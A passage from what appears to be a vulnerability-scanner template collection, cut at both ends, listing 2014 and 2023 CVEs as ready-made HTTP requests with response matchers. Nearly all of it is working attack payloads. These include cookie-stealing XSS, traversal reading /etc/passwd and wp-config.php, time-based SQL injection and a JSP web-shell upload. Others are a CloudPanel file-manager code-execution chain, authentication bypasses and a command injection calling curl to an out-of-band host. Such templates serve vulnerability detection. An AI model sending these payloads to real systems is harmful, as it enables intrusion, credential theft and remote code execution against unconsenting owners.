SearchPublicRegistries.jsp","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/uddiexplorer/SearchPublicRegistries.jsp?rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search&operator=http://{{interactsh-url}}"],"matchers-condition":"and","matchers":[{"type":"word","part":"interactsh_protocol","words":["http"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2014-4539","info":{"name":"Movies <= 0.6 - Cross-Site Scripting","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/wp-content/plugins/movies/getid3/demos/demo.mimeonly.php?filename=filename%27%3E%3Cscript%3Ealert%28document.cookie%29%3C/script%3E&"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["'>"]},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2014-2321","info":{"name":"ZTE Cable Modem Web Shell","severity":"critical"},"requests":[{"method":"GET","path":["{{BaseURL}}/web_shell_cmd.gch"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["please input shell command","ZTE Corporation. All rights reserved"],"condition":"and"},{"type":"status","status":[200]}]}]},{"id":"CVE-2014-4536","info":{"name":"Infusionsoft Gravity Forms Add-on < 1.5.7 - Cross-Site Scripting","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/wp-content/plugins/infusionsoft/Infusionsoft/tests/notAuto_test_ContactService_pauseCampaign.php?go=go%22%3E%3Cscript%3Ealert%28document.cookie%29%3C/script%3E&contactId=contactId%27%3E%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E&campaignId=campaignId%22%3E%3Cscript%3Ealert%28document.cookie%29%3C/script%3E&"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["\">"]},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2014-2323","info":{"name":"Lighttpd 1.4.34 SQL Injection and Path Traversal","severity":"critical"},"requests":[{"raw":["GET /etc/passwd HTTP/1.1\nHost: [::1]' UNION SELECT '/\n\n"],"unsafe":true,"matchers":[{"type":"regex","regex":["root:[x*]:0:0:"]}]}]},{"id":"CVE-2014-6287","info":{"name":"HTTP File Server <2.3c - Remote Command Execution","severity":"critical"},"requests":[{"method":"GET","path":["{{BaseURL}}/?search==%00{.cookie|{{str1}}|value%3d{{str2}}.}"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["HFS /"]},{"type":"word","part":"header","words":["Set-Cookie: {{str1}}={{str2}};","text/html"],"condition":"and"},{"type":"status","status":[200]}]}]},{"id":"CVE-2014-6308","info":{"name":"Osclass Security Advisory 3.4.1 - Local File Inclusion","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/osclass/oc-admin/index.php?page=appearance&action=render&file=../../../../../../../../../../etc/passwd"],"matchers-condition":"and","matchers":[{"type":"regex","regex":["root:.*:0:0:"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2014-9606","info":{"name":"Netsweeper 4.0.8 - Cross-Site Scripting","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/webadmin/policy/category_table_ajax.php?customctid=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":[""]},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2014-1203","info":{"name":"Eyou E-Mail <3.6 - Remote Code Execution","severity":"critical"},"requests":[{"raw":["POST /webadm/?q=moni_detail.do&action=gragh HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\ntype='|cat /etc/passwd||'\n"],"matchers-condition":"and","matchers":[{"type":"regex","part":"body","regex":["root:.*:0:0:"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2014-2383","info":{"name":"Dompdf < v0.6.0 - Local File Inclusion","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/dompdf.php?input_file=php://filter/resource=/etc/passwd","{{BaseURL}}/PhpSpreadsheet/Writer/PDF/DomPDF.php?input_file=php://filter/resource=/etc/passwd","{{BaseURL}}/lib/dompdf/dompdf.php?input_file=php://filter/resource=/etc/passwd","{{BaseURL}}/includes/dompdf/dompdf.php?input_file=php://filter/resource=/etc/passwd","{{BaseURL}}/wp-content/plugins/web-portal-lite-client-portal-secure-file-sharing-private-messaging/includes/libs/pdf/dompdf.php?input_file=php://filter/resource=/etc/passwd","{{BaseURL}}/wp-content/plugins/buddypress-component-stats/lib/dompdf/dompdf.php?input_file=php://filter/resource=/etc/passwd","{{BaseURL}}/wp-content/plugins/abstract-submission/dompdf-0.5.1/dompdf.php?input_file=php://filter/resource=/etc/passwd","{{BaseURL}}/wp-content/plugins/post-pdf-export/dompdf/dompdf.php?input_file=php://filter/resource=/etc/passwd","{{BaseURL}}/wp-content/plugins/blogtopdf/dompdf/dompdf.php?input_file=php://filter/resource=/etc/passwd","{{BaseURL}}/wp-content/plugins/gboutique/library/dompdf/dompdf.php?input_file=php://filter/resource=/etc/passwd","{{BaseURL}}/wp-content/plugins/wp-ecommerce-shop-styling/includes/dompdf/dompdf.php?input_file=php://filter/resource=/etc/passwd"],"stop-at-first-match":true,"matchers-condition":"and","matchers":[{"type":"word","part":"header","words":["application/pdf","filename=\"dompdf_out.pdf\""],"condition":"and"},{"type":"regex","regex":["root:[x*]:0:0"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2014-9609","info":{"name":"Netsweeper 4.0.8 - Directory Traversal","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/webadmin/reporter/view_server_log.php?act=stats&filename=log&offset=1&count=1&sortorder=0&filter=0&log=../../../../../../etc/passwd"],"matchers-condition":"and","matchers":[{"type":"regex","regex":["root:.*:0:0:"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2014-3744","info":{"name":"Node.js st module Directory Traversal","severity":"high"},"requests":[{"method":"GET","path":["{{BaseURL}}/public/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd"],"matchers-condition":"and","matchers":[{"type":"regex","regex":["root:.*:0:0:"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2014-4544","info":{"name":"Podcast Channels < 0.28 - Cross-Site Scripting","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/wp-content/plugins/podcast-channels/getid3/demos/demo.write.php?Filename=Filename%27%3E%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E&"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":[""]},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2014-8676","info":{"name":"Simple Online Planning Tool <1.3.2 - Local File Inclusion","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/process/feries.php?fichier=../../../../../../../etc/passwd"],"matchers-condition":"and","matchers":[{"type":"regex","regex":["root:[x*]:0:0"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2014-8799","info":{"name":"WordPress Plugin DukaPress 2.5.2 - Directory Traversal","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/wp-content/plugins/dukapress/lib/dp_image.php?src=../../../../wp-config.php"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["DB_NAME","DB_PASSWORD","DB_USER","DB_HOST"],"condition":"and"},{"type":"status","status":[200]}]}]},{"id":"CVE-2023-37265","info":{"name":"CasaOS  < 0.4.4 - Authentication Bypass via Internal IP","severity":"critical"},"requests":[{"method":"GET","path":["{{BaseURL}}/v1/folder?path=%2F"],"headers":{"X-Forwarded-For":"127.0.0.1"},"matchers":[{"type":"word","words":["\"success\":200","\"message\":\"ok\"","content","is_dir"],"condition":"and"}],"extractors":[{"type":"json","json":[".data.content[].path"]}]}]},{"id":"CVE-2023-3836","info":{"name":"Dahua Smart Park Management - Arbitrary File Upload","severity":"high"},"requests":[{"raw":["POST /emap/devicePoint_addImgIco?hasSubsystem=true HTTP/1.1\nContent-Type: multipart/form-data; boundary=A9-oH6XdEkeyrNu4cNSk-ppZB059oDDT\nHost: {{Hostname}}\n\n--A9-oH6XdEkeyrNu4cNSk-ppZB059oDDT\nContent-Disposition: form-data; name=\"upload\"; filename=\"{{random_str}}.jsp\"\nContent-Type: application/octet-stream\nContent-Transfer-Encoding: binary\n\n{{match_str}}\n--A9-oH6XdEkeyrNu4cNSk-ppZB059oDDT--\n","GET /upload/emap/society_new/{{shell_filename}} HTTP/1.1\nHost: {{Hostname}}\n"],"matchers":[{"type":"dsl","dsl":["status_code_1 == 200 && status_code_2 == 200","contains(body_2, '{{match_str}}')"],"condition":"and"}],"extractors":[{"type":"regex","name":"shell_filename","internal":true,"part":"body_1","regex":["ico_res_(\\w+)_on\\.jsp"]}]}]},{"id":"CVE-2023-2130","info":{"name":"Purchase Order Management v1.0 - SQL Injection","severity":"critical"},"requests":[{"method":"GET","path":["{{BaseURL}}/admin/suppliers/view_details.php?id=1'+AND+(SELECT+9687+FROM+(SELECT(SLEEP(6)))pnac)+AND+'ARHJ'='ARHJ"],"matchers":[{"type":"dsl","dsl":["duration>=6","status_code == 200","contains(header, \"text/html\")","contains(body, \"Supplier Name\")"],"condition":"and"}]}]},{"id":"CVE-2023-25717","info":{"name":"Ruckus Wireless Admin - Remote Code Execution","severity":"critical"},"requests":[{"method":"GET","path":["{{BaseURL}}/forms/doLogin?login_username=admin&password=password$(curl%20{{interactsh-url}})&x=0&y=0"],"matchers":[{"type":"dsl","dsl":["contains(interactsh_protocol, 'http')","contains_all(to_lower(interactsh_request), 'user-agent','curl')","status_code_1 == 302"],"condition":"and"}]}]},{"id":"CVE-2023-24243","info":{"name":"CData RSB Connect v22.0.8336 - Server Side Request Forgery","severity":"high"},"requests":[{"method":"GET","path":["{{BaseURL}}/%255c%255c{{interactsh-url}}%255cC$%255cbb"],"matchers-condition":"and","matchers":[{"type":"word","part":"interactsh_protocol","words":["dns"]},{"type":"status","status":[404]}]}]},{"id":"CVE-2023-1177","info":{"name":"Mlflow <2.2.1 - Local File Inclusion","severity":"critical"},"requests":[{"raw":["POST /ajax-api/2.0/mlflow/registered-models/create HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/json; charset=utf-8\n\n{\"name\":\"{{randstr}}\"}\n","POST /ajax-api/2.0/mlflow/model-versions/create HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/json; charset=utf-8\n\n{\"name\":\"{{randstr}}\",\"source\":\"file:///etc/\"}\n","GET /model-versions/get-artifact?path=passwd&name=AJAX-API&version={{version}} HTTP/1.1\nHost: {{Hostname}}\n"],"matchers-condition":"and","matchers":[{"type":"regex","regex":["root:.*:0:0:"]},{"type":"status","status":[200]}],"extractors":[{"type":"regex","name":"version","group":1,"regex":["\"version\": \"([0-9.]+)\","],"internal":true,"part":"body"}]}]},{"id":"CVE-2023-30212","info":{"name":"OURPHP <= 7.2.0 -  Cross Site Scripting","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/client/manage/ourphp_out.php?ourphp_admin=logout&out="],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["location.href='../..'"]},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2023-35885","info":{"name":"Cloudpanel 2 < 2.3.1 - Remote Code Execution","severity":"critical"},"requests":[{"raw":["GET /file-manager/ HTTP/1.1\nHost: {{Hostname}}\nCookie: clp-fm={{session}}\n","POST /file-manager/backend/makefile HTTP/1.1\nHost: {{Hostname}}\nCookie: clp-fm={{session}}\nContent-Type: application/x-www-form-urlencoded\n\nid=/htdocs/app/files/public/&name={{str1}}.php\n","POST /file-manager/backend/text HTTP/1.1\nHost: {{Hostname}}\nCookie: clp-fm={{session}}\nContent-Type: application/x-www-form-urlencoded\n\nid=/htdocs/app/files/public/{{str1}}.php&content=\n","POST /file-manager/backend/permissions HTTP/1.1\nHost: {{Hostname}}\nCookie: clp-fm={{session}}\nContent-Type: application/x-www-form-urlencoded\n\nid=/htdocs/app/files/public/{{str1}}.php&permissions=0777\n","GET /{{str1}}.php HTTP/2\nHost: {{Hostname}}\n"],"matchers":[{"type":"dsl","dsl":["body_5 == str2"]}]}]},{"id":"CVE-2023-32117","info":{"name":"Integrate Google Drive <= 1.1.99 - Missing Authorization via REST API Endpoints","severity":"high"},"requests":[{"method":"POST","path":["{{BaseURL}}/wp-json/igd/v1/get-users-data"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["\"username\":","\"name\":","\"email\":","\"role\":"],"condition":"and"},{"type":"word","part":"header","words":["application/json"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2023-25346","info":{"name":"ChurchCRM 4.5.3 - Cross-Site Scripting","severity":"medium"},"requests":[{"raw":["POST /session/begin HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\nUser={{username}}&Password={{password}}\n","GET /v2/person/not-found?id=%22%3E%3Cscript%3Ealert(document.domain)%3C/script%3E HTTP/1.1\nHost: {{Hostname}}\n"],"cookie-reuse":true,"matchers":[{"type":"dsl","dsl":["status_code_2 == 200","contains(content_type_2, \"text/html\")","contains(body_2, \"\")","contains(body_2, \"ChurchCRM\")"],"condition":"and"}]}]},{"id":"CVE-2023-22478","info":{"name":"KubePi <= v1.6.4 LoginLogsSearch - Unauthorized Access","severity":"high"},"requests":[{"raw":["@timeout 10\nPOST /kubepi/api/v1/systems/login/logs/search?pageNum=1&&pageSize=10 HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/json\n\n{}\n"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["\"apiVersion\":","\"uuid\":","\"userName\":"],"condition":"and"},{"type":"word","part":"header","words":["application/json"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2023-30210","info":{"name":"OURPHP <= 7.2.0 - Cross Site Scripting","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/client/manage/ourphp_tz.php?act=rt&callback="],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["","barmemCachedPercent","swapPercent"],"condition":"and"},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2023-2982","info":{"name":"Miniorange Social Login and Register <= 7.6.3 - Authentication Bypass","severity":"critical"},"requests":[{"raw":["POST / HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\noption=moopenid&email=uzmpvjPBmwEO3tFXq0vlJg%3D%3D&appName=rlHeqZw2vrPzOiWWfCParA%3D%3D\n"],"matchers-condition":"and","matchers":[{"type":"word","part":"set_cookie","words":["wordpress_sec_","wordpress_logged_in_"],"condition":"or"},{"type":"status","status":[302]}]}]},{"id":"CVE-2023-23489","info":{"name":"WordPress Easy Digital Downloads 3.1.0.2/3.1.0.3 - SQL Injection","severity":"critical"},"requests":[{"raw":["@timeout: 10s\nGET /wp-admin/admin-ajax.php?action=edd_download_search&s=1'+AND+(SELECT+1+FROM+(SELECT(SLEEP(6)))a)--+- HTTP/1.1\nHost: {{Hostname}}\n","GET /wp-content/plugins/easy-digital-downloads/readme.txt HTTP/1.1\nHost: {{Hostname}}\n"],"matchers":[{"type":"dsl","dsl":["duration_1>=6","status_code_1 == 200","contains(body_1, \"[]\") && contains(body_2, \"Easy Digital Downloads\")"],"condition":"and"}]}]},{"id":"CVE-2023-29919","info":{"name":"SolarView Compact <= 6.00 - Local File Inclusion","severity":"critical"},"requests":[{"raw":["POST /texteditor.php HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\ndirectory=%2F/etc&open=%8AJ%82%AD&r_charset=none&newfile=&editfile=%2Fhome%2Fcontec%2Fdata%2FoutputCtrl%2Fremote%2F2016%2F\n"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["action=\"texteditor.php\"","adduser.conf","deluser.conf"],"condition":"and"},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2023-30777","info":{"name":"Advanced Custom Fields < 6.1.6 - Cross-Site Scripting","severity":"medium"},"requests":[{"raw":["POST /wp-login.php HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\nlog={{username}}&pwd={{password}}&wp-submit=Log+In\n","GET /wp-admin/edit.php?post_type=acf-post-type&post_status=%22style%3Danimation-name%3Arotation+onanimationstart%3Dalert%28document.domain%29%2F%2F HTTP/1.1\nHost: {{Hostname}}\n"],"cookie-reuse":true,"matchers":[{"type":"dsl","dsl":["status_code_2 == 200","contains(content_type_2, \"text/html\")","contains(body_2, \"onanimationstart=alert(document.domain)//\")","contains(body_2, \"Advanced Custom Fields\")"],"condition":"and"}]}]},{"id":"CVE-2023-29922","info":{"name":"PowerJob V4.3.1 - Authentication Bypass","severity":"medium"},"requests":[{"raw":["POST /user/save HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/json\n\n{\"username\":\"{{str}}\",\"phone\":\"{{str}}\",\"email\":\"{{str}}\",\"webHook\":\"{{str}}\"}\n"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["\"success\":true","\"data\":null"],"condition":"and"},{"type":"word","part":"header","words":["application/json"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2023-1434","info":{"name":"Odoo - Cross-Site Scripting","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/web/set_profiling?profile=0&collectors="],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["","\"params\":","session"],"condition":"and"},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2023-34599","info":{"name":"Gibbon v25.0.0 - Cross-Site Scripting","severity":"medium"},"requests":[{"raw":["POST /login.php? HTTP/1.1\nHost: {{Hostname}}\nContent-Type: multipart/form-data; boundary=----WebKitFormBoundary8m88nqhR1NAnQEYZ\n\n------WebKitFormBoundary8m88nqhR1NAnQEYZ\nContent-Disposition: form-data; name=\"address\"\n\n\n------WebKitFormBoundary8m88nqhR1NAnQEYZ\nContent-Disposition: form-data; name=\"method\"\n\ndefault\n------WebKitFormBoundary8m88nqhR1NAnQEYZ\nContent-Disposition: form-data; name=\"username\"\n\n{{username}}\n------WebKitFormBoundary8m88nqhR1NAnQEYZ\nContent-Disposition: form-data; name=\"password\"\n\n{{password}}\n------WebKitFormBoundary8m88nqhR1NAnQEYZ\nContent-Disposition: form-data; name=\"gibbonSchoolYearID\"\n\n017\n------WebKitFormBoundary8m88nqhR1NAnQEYZ\nContent-Disposition: form-data; name=\"gibboni18nID\"\n\n0001\n------WebKitFormBoundary8m88nqhR1NAnQEYZ--\n","GET /index.php?q=/modules/Staff/staff_view_details.php&gibbonTTID=00000010&gibbonPersonID=0000000001&search=yyraq'>oq7c8fmwwro&ttDate=05/23/2023&schoolCalendar=N&personalCalendar=N&spaceBookingCalendar=N&fromTT=Y HTTP/1.1\nHost: {{Hostname}}\n"],"matchers-condition":"and","matchers":[{"type":"word","part":"body_2","words":[">","gibbon"],"case-insensitive":true,"condition":"and"},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2023-37580","info":{"name":"Zimbra Collaboration Suite (ZCS) v.8.8.15 - Cross-Site Scripting","severity":"medium"},"requests":[{"raw":["POST /zimbra/ HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\nloginOp=login&username={{username}}&password={{password}}&client=mobile\n","GET /m/momoveto?st=\"> HTTP/1.1\nHost: {{Hostname}}\n"],"cookie-reuse":true,"matchers-condition":"and","matchers":[{"type":"word","part":"body_2","words":["","id=\"zMoveForm\""],"condition":"and"},{"type":"word","part":"header_2","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2023-33510","info":{"name":"Jeecg P3 Biz Chat - Local File Inclusion","severity":"high"},"requests":[{"method":"GET","path":["{{BaseURL}}/chat/imController/showOrDownByurl.do?dbPath=../../../../../../etc/passwd"],"matchers-condition":"and","matchers":[{"type":"regex","part":"body","regex":["root:.*:0:0:"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2023-24278","info":{"name":"Squidex <7.4.0 - Cross-Site Scripting","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/squid.svg?title=Not%20Found&text=This%20is%20not%20the%20page%20you%20are%20looking%20for!&background=%22%3E%3Cscript%3Ealert(document.domain)%3C/script%3E%3Cimg%20src=%22&small"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["","looking for!"],"condition":"and"},{"type":"word","part":"header","words":["image/svg+xml"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2023-35843","info":{"name":"NocoDB version <= 0.106.1 - Arbitrary File Read","severity":"high"},"requests":[{"method":"GET","path":["{{BaseURL}}/download/{{repeat('..%2F', 5)}}etc%2Fpasswd"],"matchers-condition":"and","matchers":[{"type":"regex","regex":["root:[x*]:0:0"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2023-36346","info":{"name":"POS Codekop v2.0 - Cross-site Scripting","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/print.php?nm_member="],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["","print"],"condition":"and"},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2023-23333","info":{"name":"SolarView Compact 6.00 - OS Command Injection","severity":"critical"},"requests":[{"raw":["@timeout: 25s\nGET /downloader.php?file=%3B{{cmd}}%00.zip HTTP/1.1\nHost: {{Hostname}}\n"],"matchers-condition":"and","matchers":[{"type":"word","part":"header","words":["text/html"]},{"type":"regex","part":"body","regex":["33332-3202-EVC"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2023-25157","info":{"name":"GeoServer OGC Filter - SQL Injection","severity":"critical"},"requests":[{"raw":["GET /geoserver/ows?service=WFS&version=1.0.0&request=GetCapabilities HTTP/1.1\nHost: {{Hostname}}\n","GET /geoserver/ows?service=WFS&version=1.0.0&request=GetFeature&typeName={{name}}&maxFeatures=50&outputFormat=csv HTTP/1.1\nHost: {{Hostname}}\n","@timeout: 30s\nGET /geoserver/ows?service=WFS&version=1.0.0&request=GetFeature&typeName={{name}}&CQL_FILTER=strStartswith({{column}},%27%27%27%27)=true HTTP/1.1\nHost: {{Hostname}}\n"],"stop-at-first-match":true,"iterate-all":true,"matchers-condition":"and","matchers":[{"type":"word","part":"body_3","words":["SQL SELECT"]},{"type":"word","part":"header_3","words":["text/xml"]}],"extractors":[{"type":"regex","name":"name","group":1,"regex":["(.*?)<\\/Name>"],"internal":true,"part":"body_1"},{"type":"regex","name":"column","group":1,"regex":["FID,([aA-zZ_]+),"],"internal":true,"part":"body_2"}]}]},{"id":"CVE-2023-3345","info":{"name":"LMS by Masteriyo < 1.6.8 - Information Exposure","severity":"medium"},"requests":[{"raw":["POST /wp-login.php HTTP/1.1\nHost: {{Hostname}}\nOrigin: {{RootURL}}\nContent-Type: application/x-www-form-urlencoded\n\nlog={{username}}&pwd={{password}}&wp-submit=Log+In&testcookie=1\n","GET /wp-admin/profile.php HTTP/1.1\nHost: {{Hostname}}\n","GET /wp-json/masteriyo/v1/users/ HTTP/1.1\nHost: {{Hostname}}\nX-WP-Nonce: {{nonce}}\n"],"cookie-reuse":true,"matchers-condition":"and","matchers":[{"type":"word","part":"body_3","words":["\"username\":","\"email\":","\"roles\":"],"condition":"and"},{"type":"word","part":"header_3","words":["application/json"]},{"type":"status","status":[200]}],"extractors":[{"type":"regex","name":"nonce","part":"body","group":1,"regex":["\"nonce\":\"([a-z0-9]+)\",\"versionString"],"internal":true}]}]},{"id":"CVE-2023-0968","info":{"name":"WordPress Watu Quiz <3.3.9.1 - Cross-Site Scripting","severity":"medium"},"requests":[{"raw":["POST /wp-login.php HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\nlog={{username}}&pwd={{password}}&wp-submit=Log+In\n","GET /wp-admin/admin.php?page=watu_takings&exam_id=1&dn=\"%2Fonmouseover%3Dalert(document.domain)%2F%2F HTTP/1.1\nHost: {{Hostname}}\n"],"cookie-reuse":true,"matchers":[{"type":"dsl","dsl":["status_code_2 == 200","contains(header_2, \"text/html\")","contains(body_2, \"/onmouseover=alert(document.domain)//\")","contains(body_2, \"Watu Quizzes\")"],"condition":"and"}]}]},{"id":"CVE-2023-22897","info":{"name":"Securepoint UTM - Leaking Remote Memory Contents","severity":"medium"},"requests":[{"raw":["POST /spcgi.cgi HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/json\n\n{}\n"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["\"sessionid\":","\"mode\":"],"condition":"and"},{"type":"word","part":"header","words":["application/json"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2023-0630","info":{"name":"Slimstat Analytics < 4.9.3.3 Subscriber - SQL Injection","severity":"high"},"requests":[{"raw":["POST /wp-login.php HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\nlog={{username}}&pwd={{password}}&wp-submit=Log+In&testcookie=1\n","POST /wp-admin/admin-ajax.php HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\naction=parse-media-shortcode&shortcode=[slimstat f=\"count\" w=\"author\"]WHERE:1 UNION SELECT sleep(7)-- a[/slimstat]\n"],"cookie-reuse":true,"matchers":[{"type":"dsl","dsl":["duration_2>=7","status_code_2 == 200","contains(content_type_2, \"application/json\")","contains(body_2, \"audioShortcodeLibrary\")"],"condition":"and"}]}]},{"id":"CVE-2023-32315","info":{"name":"Openfire Administration Console - Authentication Bypass","severity":"high"},"requests":[{"raw":["GET /setup/setup-s/%u002e%u002e/%u002e%u002e/log.jsp HTTP/1.1\nHost: {{Hostname}}\nOrigin: {{BaseURL}}\n\n"],"unsafe":true,"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["apache","java","openfire","jivesoftware"],"condition":"and"},{"type":"status","status":[200]}]}]},{"id":"CVE-2023-24657","info":{"name":"phpIPAM - 1.6 - Cross-Site Scripting","severity":"medium"},"requests":[{"raw":["POST /app/login/login_check.php HTTP/2\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\nipamusername={{username}}&ipampassword={{password}}\n","GET /app/tools/subnet-masks/popup.php?closeClass=%22%3E%3Cscript%3Ealert(document.domain)%3C/script%3E HTTP/2\nHost: {{Hostname}}\n"],"cookie-reuse":true,"matchers":[{"type":"dsl","dsl":["status_code_2 == 200","contains(body_2, \"<script>alert(document.domain)</script>\") && contains(body_2, \"Subnet masks\")"],"condition":"and"}]}]},{"id":"CVE-2023-34843","info":{"name":"Traggo Server - Local File Inclusion","severity":"high"},"requests":[{"method":"GET","path":["{{BaseURL}}/static/..%5c..%5c..%5c..%5cetc/passwd"],"matchers-condition":"and","matchers":[{"type":"word","part":"header","words":["text/plain"]},{"type":"regex","part":"body","regex":["root:.*:0:0"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2023-26256","info":{"name":"STAGIL Navigation for Jira Menu & Themes <2.0.52 - Local File Inclusion","severity":"high"},"requests":[{"method":"GET","path":["{{BaseURL}}/plugins/servlet/snjFooterNavigationConfig?fileName=../../../../etc/passwd&fileMime=$textMime"],"matchers-condition":"and","matchers":[{"type":"word","part":"header","words":["$textMime"]},{"type":"regex","regex":["root:[x*]:0:0"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2023-0552","info":{"name":"WordPress Pie Register <3.8.2.3 - Open Redirect","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/wp-admin?piereg_logout_url=true&redirect_to=https://oast.me"],"redirects":true,"matchers":[{"type":"regex","part":"header","regex":["(?m)^(?:Location\\s*?:\\s*?)(?:https?://|//)(?:[a-zA-Z0-9\\-_\\.@]*)oast\\.me.*$"]}]}]},{"id":"CVE-2023-29084","info":{"name":"ManageEngine ADManager Plus - Command Injection","severity":"high"},"requests":[{"raw":["POST /j_security_check HTTP/1.1\nHost: {{Hostname}}\nOrigin: {{BaseURL}}\nReferer: {{BaseURL}}\nContent-Type: application/x-www-form-urlencoded\n\nis_admp_pass_encrypted=false&j_username={{username}}&j_password={{password}}&domainName=ADManager+Plus+Authentication&AUTHRULE_NAME=ADAuthenticator\n","GET /home.do HTTP/1.1\nHost: {{Hostname}}\n","POST /api/json/admin/saveServerSettings HTTP/1.1\nHost: {{Hostname}}\nX-Requested-With: XMLHttpRequest\nContent-Type: application/x-www-form-urlencoded; charset=UTF-8\nOrigin: {{BaseURL}}\nReferer: {{BaseURL}}\n\nparams=[{\"tabId\":\"proxy\",\"ENABLE_PROXY\":true,\"SERVER_NAME\":\"1.1.1.1\",\"USER_NAME\":\"random\",\"PASSWORD\":\"asd\\r\\n{{cmd}}\",\"PORT\":\"80\"}]&admpcsrf={{admpcsrf}}\n"],"cookie-reuse":true,"host-redirects":true,"max-redirects":2,"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["{\"message\":\"","Proxy Settings"],"condition":"and"},{"type":"word","part":"interactsh_protocol","words":["dns"]}],"extractors":[{"type":"kval","name":"admpcsrf","internal":true,"kval":["admpcsrf"],"part":"header"}]}]},{"id":"CVE-2023-1020","info":{"name":"Steveas WP Live Chat Shoutbox <= 1.4.2 - SQL Injection","severity":"critical"},"requests":[{"raw":["POST /wp-admin/admin-ajax.php HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded; 